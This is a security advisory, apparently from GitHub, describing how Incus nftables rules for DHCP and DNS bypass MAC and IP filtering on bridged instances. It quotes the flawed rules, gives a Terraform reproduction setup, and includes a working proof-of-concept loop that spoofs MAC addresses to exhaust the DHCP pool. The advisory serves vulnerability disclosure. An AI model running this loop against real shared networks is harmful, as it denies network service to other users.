When using an ACL on a device connected to a bridge, Incus generates nftables rules for local services (DHCP, DNS...) that partially bypass security options security.mac_filtering
, security.ipv4_filtering
and security.ipv6_filtering
. This can lead to DHCP pool exhaustion and opens the door for other attacks.
In commit a7c33301738aede3c035063e973b1d885d9bac7c, the following rules are added at the top of the bridge input chain:
iifname "{{.hostName}}" ether type ip ip saddr 0.0.0.0 ip daddr 255.255.255.255 udp dport 67 accept
iifname "{{.hostName}}" ether type ip6 ip6 saddr fe80::/10 ip6 daddr ff02::1:2 udp dport 547 accept
iifname "{{.hostName}}" ether type ip6 ip6 saddr fe80::/10 ip6 daddr ff02::2 icmpv6 type 133 accept
However, these rules accept packets that should be filtered and maybe dropped by later rules in the "MAC filtering" snippet:
iifname "{{.hostName}}" ether type arp arp saddr ether != {{.hwAddr}} drop
iifname "{{.hostName}}" ether type ip6 icmpv6 type 136 @nh,528,48 != {{.hwAddrHex}} drop
Therefore, the MAC filtering is ineffective on those new rules. This allows an attacker to request as many IP as they want by sending a lot of DHCP requests with different MAC addresses. Doing so, they can exhaust the DHCP pool, resulting in a DoS of the bridge's network.
Additionaly, the commit adds non-restricted access to the local dnsmasq DNS server:
{{ if .dnsIPv4 }}
{{ range .dnsIPv4 }}
iifname "{{$.hostName}}" ip daddr "{{.}}" tcp dport 53 accept
iifname "{{$.hostName}}" ip daddr "{{.}}" udp dport 53 accept
{{ end }}
{{ end }}
{{ if .dnsIPv6 }}
{{ range .dnsIPv6 }}
iifname "{{$.hostName}}" ip6 daddr "{{.}}" tcp dport 53 accept
iifname "{{$.hostName}}" ip6 daddr "{{.}}" udp dport 53 accept
{{ end }}
{{ end }}
An attacker can send DNS requests with arbitrary MAC and IP addresses as well. These rules should also be after the MAC/IPv4/IPv6 filtering.
With this terraform infrastructure:
resource "incus_network_acl" "acl_allow_out" {
name = "acl-allow-out"
egress = [
{
action = "allow"
destination = "0.0.0.0-9.255.255.255,11.0.0.0-172.15.255.255,172.32.0.0-192.167.255.255,192.169.0.0-255.255.255.254"
state = "enabled"
},
]
}
resource "incus_network_acl" "acl_allow_in" {
name = "acl-allow-in"
ingress = [
{
action = "allow"
state = "enabled"
},
]
}
resource "incus_network" "br0" {
name = "br0"
config = {
"ipv4.address" = "10.0.0.1/24"
"ipv4.nat" = "true"
}
}
resource "incus_instance" "machine1" {
name = "machine1"
image = "images:archlinux/cloud"
type = "virtual-machine"
config = {
"limits.memory" = "2GiB"
"security.secureboot" = false
"boot.autostart" = false
"cloud-init.vendor-data" = <<-EOF
#cloud-config
package_update: true
packages:
- dhclient
- tcpdump
runcmd:
- systemctl disable --now systemd.networkd.service
- systemctl disable --now systemd.networkd.socket
EOF
}
device {
type = "disk"
name = "root"
properties = {
pool = "default"
path = "/"
size = "64GiB"
}
}
device {
type = "nic"
name = "eth0"
properties = {
network = incus_network.br0.name
"security.ipv4_filtering" = true
"security.acls" = join(",",
[
incus_network_acl.acl_allow_out.name,
incus_network_acl.acl_allow_in.name,
])
}
}
}
resource "incus_instance" "machine2" {
name = "machine2"
image = "images:archlinux/cloud"
type = "virtual-machine"
config = {
"limits.memory" = "2GiB"
"security.secureboot" = false
"boot.autostart" = false
}
device {
type = "disk"
name = "root"
properties = {
pool = "default"
path = "/"
size = "64GiB"
}
}
device {
type = "nic"
name = "eth0"
properties = {
network = incus_network.br0.name
}
}
}
An attacker in a VM requests many IP addresses and exhaust the pool:
[MACHINE1]$ for i in {0..99}; do for j in {0..99}; do ip link set address 10:66:6a:42:${i}:${j} dev enp5s0 ; dhclient -4 -i --no-pid ; done ; done
[HOST]$ cat /var/lib/incus/networks/br0/dnsmasq.leases |wc -l
254
[HOST]$ incus start machine2
At this point, machine2 will not receive a lease from dnsmasq until another lease expires. If machine1 renews their malicious leases, machine2 will never get a lease.
All versions since a7c33301738aede3c035063e973b1d885d9bac7c, so basically v6.12 and v6.13.
{ "github_reviewed": true, "github_reviewed_at": "2025-06-26T21:11:09Z", "nvd_published_at": "2025-06-25T17:15:39Z", "cwe_ids": [ "CWE-770" ], "severity": "LOW" }